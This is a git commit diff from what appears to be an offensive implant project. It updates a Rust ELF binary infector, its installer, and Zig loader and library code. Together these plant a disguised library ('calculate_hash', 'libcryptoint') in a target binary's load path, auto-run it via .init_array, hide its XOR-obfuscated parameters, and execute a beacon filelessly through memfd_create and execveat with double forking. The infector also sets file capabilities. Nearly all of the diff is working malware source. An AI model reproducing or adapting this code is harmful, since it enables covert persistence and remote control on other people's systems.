feat: got unix-beacon tested on Linux

This commit is contained in:
Andrew Rioux 2025-02-05 16:53:11 -05:00
parent 90c8b97141
commit cd2890ee36
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
6 changed files with 82 additions and 49 deletions

1
Cargo.lock generated
View File

@ -3267,6 +3267,7 @@ dependencies = [
name = "sparse-unix-installer" name = "sparse-unix-installer"
version = "2.0.0" version = "2.0.0"
dependencies = [ dependencies = [
"hex",
"rand 0.9.0", "rand 0.9.0",
"sparse-actions", "sparse-actions",
"sparse-unix-infector", "sparse-unix-infector",

View File

@ -4,7 +4,7 @@ use std::{
slice, slice,
}; };
use sparse_actions::payload_types::Parameters; use sparse_actions::payload_types::{Parameters, XOR_KEY};
mod elf_types; mod elf_types;
use elf_types::*; use elf_types::*;
@ -21,19 +21,41 @@ pub const SPARSE_LIBRARY: &'static [u8] =
pub fn infect_elf_binary<BP, LP>( pub fn infect_elf_binary<BP, LP>(
binary_path: BP, binary_path: BP,
target_library_path: LP, target_library_path: LP,
sparse_parameters: &Parameters, mut sparse_parameters: Vec<u8>,
) -> Result<(), Error> ) -> Result<(), Error>
where where
BP: AsRef<Path>, BP: AsRef<Path>,
LP: AsRef<Path>, LP: AsRef<Path>,
{ {
std::fs::write(&target_library_path, SPARSE_LIBRARY)?; let mut sparse_library = SPARSE_LIBRARY.to_vec();
for b in sparse_parameters.iter_mut() {
*b = *b ^ (XOR_KEY as u8);
}
for i in 0..(sparse_library.len() - sparse_parameters.len()) {
if sparse_library[i..(i+256)] == *b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" {
sparse_library[i..(i+256)].copy_from_slice(&vec![0; 256]);
let tlp = target_library_path
.as_ref()
.to_str()
.expect("invalid path provided for library")
.to_owned();
sparse_library[i..(i+tlp.len())].copy_from_slice(tlp.as_bytes());
}
if sparse_library[i..(i + sparse_parameters.len())] == vec![b'B'; sparse_parameters.len()] {
sparse_library[i..(i + sparse_parameters.len())].copy_from_slice(&sparse_parameters);
}
}
std::fs::write(&target_library_path, sparse_library)?;
let mut binary = std::fs::OpenOptions::new() let mut binary = std::fs::OpenOptions::new()
.read(true) .read(true)
.write(true) .write(true)
.truncate(false) .truncate(false)
.open(&binary_path)?; .open(&binary_path)
.expect("Could not open binary path for infecting");
binary.seek(SeekFrom::End(0))?; binary.seek(SeekFrom::End(0))?;
let end = binary.stream_position()?; let end = binary.stream_position()?;
@ -49,7 +71,7 @@ where
}; };
if let ElfIsa::Amd64 = isa { if let ElfIsa::Amd64 = isa {
infect_64bit_elf_binary(target_library_path, binary, binary_data, sparse_parameters)?; infect_64bit_elf_binary(target_library_path, binary, binary_data)?;
#[cfg(target_os = "linux")] #[cfg(target_os = "linux")]
{ {
@ -94,8 +116,11 @@ where
.expect("could not convert binary path to string"), .expect("could not convert binary path to string"),
) )
.expect("could not convert binary path to string"); .expect("could not convert binary path to string");
let current_caps = cap_get_file(path.as_ptr()); let current_caps = cap_get_file(path.as_ptr());
println!("Result of getting caps: {}", errno::errno());
println!( println!(
"Result of setting effective caps: {} (errno: {})", "Result of setting effective caps: {} (errno: {})",
cap_set_flag( cap_set_flag(
@ -153,7 +178,6 @@ fn infect_64bit_elf_binary<LP, F>(
library_path: LP, library_path: LP,
mut binary: F, mut binary: F,
mut binary_data: Vec<u8>, mut binary_data: Vec<u8>,
sparse_parameters: &Parameters,
) -> Result<(), Error> ) -> Result<(), Error>
where where
LP: AsRef<Path>, LP: AsRef<Path>,
@ -335,11 +359,5 @@ where
binary.seek(SeekFrom::Start(0))?; binary.seek(SeekFrom::Start(0))?;
binary.write(&binary_data)?; binary.write(&binary_data)?;
let param_data = &sparse_parameters as *const _ as *const u8;
let param_slice =
unsafe { slice::from_raw_parts(param_data, std::mem::size_of::<Parameters>()) };
binary.write(param_slice)?;
Ok(()) Ok(())
} }

View File

@ -4,6 +4,7 @@ edition = "2024"
version.workspace = true version.workspace = true
[dependencies] [dependencies]
hex = "0.4.3"
rand = "0.9.0" rand = "0.9.0"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" } sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" } sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" }

View File

@ -52,10 +52,10 @@ fn main() -> Result<(), Error> {
installer_file.seek(SeekFrom::End(-parameters_size))?; installer_file.seek(SeekFrom::End(-parameters_size))?;
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize); let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
installer_file.read(&mut parameters_buffer)?; installer_file.read_to_end(&mut parameters_buffer)?;
for b in parameters_buffer.iter_mut() { for b in parameters_buffer.iter_mut() {
*b = *b & (XOR_KEY as u8); *b = *b ^ (XOR_KEY as u8);
} }
let parameters: &mut Parameters = let parameters: &mut Parameters =
@ -66,6 +66,11 @@ fn main() -> Result<(), Error> {
.try_fill_bytes(&mut identifier) .try_fill_bytes(&mut identifier)
.expect("Could not generate beacon identifier"); .expect("Could not generate beacon identifier");
let hex_ident = hex::encode(&identifier);
parameters
.beacon_identifier
.copy_from_slice(&hex_ident.as_bytes());
let beacon_name = opts.binary_name.as_bytes(); let beacon_name = opts.binary_name.as_bytes();
parameters.beacon_name[..beacon_name.len()].copy_from_slice(&beacon_name[..]); parameters.beacon_name[..beacon_name.len()].copy_from_slice(&beacon_name[..]);
parameters.beacon_name_length = beacon_name.len() as u16; parameters.beacon_name_length = beacon_name.len() as u16;
@ -73,5 +78,9 @@ fn main() -> Result<(), Error> {
parameters.delay_seconds_min = opts.delay_seconds_minimum; parameters.delay_seconds_min = opts.delay_seconds_minimum;
parameters.delay_seconds_max = opts.delay_seconds_minimum; parameters.delay_seconds_max = opts.delay_seconds_minimum;
infect_elf_binary(opts.binary, opts.library_path, parameters) std::fs::write("./debug.params-pre", &parameters_buffer)?;
infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?;
Ok(())
} }

View File

@ -4,9 +4,10 @@ const posix = std.posix;
const beacon = @embedFile("beacon"); const beacon = @embedFile("beacon");
const Parameters = @cImport({ const abi = @cImport({
@cInclude("abi.h"); @cInclude("abi.h");
}).Parameters; });
const Parameters = abi.Parameters;
const config = @import("config"); const config = @import("config");
@ -14,7 +15,7 @@ fn open_temp() !std.fs.File {
switch (builtin.os.tag) { switch (builtin.os.tag) {
.linux => { .linux => {
const fd = try posix.memfd_create("", 0); const fd = try posix.memfd_create("", 0);
return std.fs.File{ .handle = fd }; return std.fs.File{ .handle = @intCast(fd) };
}, },
else => { else => {
return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 }); return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 });
@ -41,17 +42,29 @@ fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
const file_path = switch (builtin.os.tag) { const file_path = switch (builtin.os.tag) {
.linux => try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_file.handle}), .linux => try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_file.handle}),
else => "/tmp/libcryptoint", else => try std.fmt.allocPrint(alloc, "/dev/fd/{d}", .{exe_file.handle}),
}; };
exe_file.close(); const key = (abi.XOR_KEY << 8) | abi.XOR_KEY;
const beacon_name_length: usize = @intCast(parameters.beacon_name_length ^ key);
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..beacon_name_length]);
var i: u16 = 0;
while (i < beacon_name_length) : (i += 1) {
beacon_name[i] ^= @intCast(abi.XOR_KEY);
}
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]);
const file_path_ptr = try alloc.dupeZ(u8, file_path); const file_path_ptr = try alloc.dupeZ(u8, file_path);
const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null }; const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null };
const envp: [*:null]const ?[*:0]const u8 = &.{null}; const envp: [*:null]const ?[*:0]const u8 = &.{null};
switch (builtin.os.tag) {
.linux => {
_ = std.os.linux.syscall5(.execveat, @intCast(exe_file.handle), @intFromPtr(""), @intFromPtr(argv), @intFromPtr(envp), 0x1000);
},
else => {
switch (posix.execveZ(file_path_ptr, argv, envp)) { switch (posix.execveZ(file_path_ptr, argv, envp)) {
else => |e| { else => |e| {
if (builtin.mode == .Debug) { if (builtin.mode == .Debug) {
@ -59,6 +72,8 @@ fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
} }
}, },
} }
},
}
posix.exit(1); posix.exit(1);
} }
@ -81,12 +96,6 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
if (pid == 0) { if (pid == 0) {
if (try posix.fork() == 0) { if (try posix.fork() == 0) {
try exec_beacon(gzipped_exe, parameters); try exec_beacon(gzipped_exe, parameters);
} else if (builtin.os.tag != .linux) {
const sem = std.c.sem_open("/libcrypto", 0x200, 0o775, 0);
_ = std.c.sem_wait(sem);
posix.unlink("/tmp/libcryptoint") catch {};
} }
posix.exit(0); posix.exit(0);
} else { } else {

View File

@ -5,32 +5,27 @@ const Parameters = @cImport({
@cInclude("abi.h"); @cInclude("abi.h");
}).Parameters; }).Parameters;
extern fn hash_internals(parameters: *Parameters) void; extern fn hash_internals(parameters: *const Parameters) void;
var file_parameters: Parameters = undefined; const file_parameters: [@sizeOf(Parameters) / 2]u16 = blk: {
var arr: [@sizeOf(Parameters) / 2]u16 = undefined;
for (&arr) |*item| {
item.* = ('B' << 8) | 'B';
}
break :blk arr;
};
fn fill_parameters() !void { const file_with_params: *const [256:0]u8 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
const this_file = try std.fs.openSelfExe(std.fs.File.OpenFlags{});
try this_file.seekFromEnd(@sizeOf(Parameters)); fn get_parameters() *const Parameters {
return @as(*const Parameters, @ptrCast(&file_parameters));
var param_buffer: [@sizeOf(Parameters)]u8 = undefined;
_ = try this_file.reader().read(&param_buffer);
@memcpy(@as([*]u8, @ptrCast(&file_parameters)), &param_buffer);
} }
export fn calculate_hash() callconv(.C) void { export fn calculate_hash() callconv(.C) void {
if (dbg) { if (dbg) {
std.io.getStdOut().writeAll("Loaded!") catch {}; std.io.getStdOut().writeAll("Loaded!\n") catch {};
} }
fill_parameters() catch |err| { hash_internals(get_parameters());
if (dbg) {
std.debug.print("Error calculating hash! {any}", .{err});
}
return;
};
hash_internals(&file_parameters);
} }
export const init_array: [1]*const fn () callconv(.C) void linksection(".init_array") = .{&calculate_hash}; export const init_array: [1]*const fn () callconv(.C) void linksection(".init_array") = .{&calculate_hash};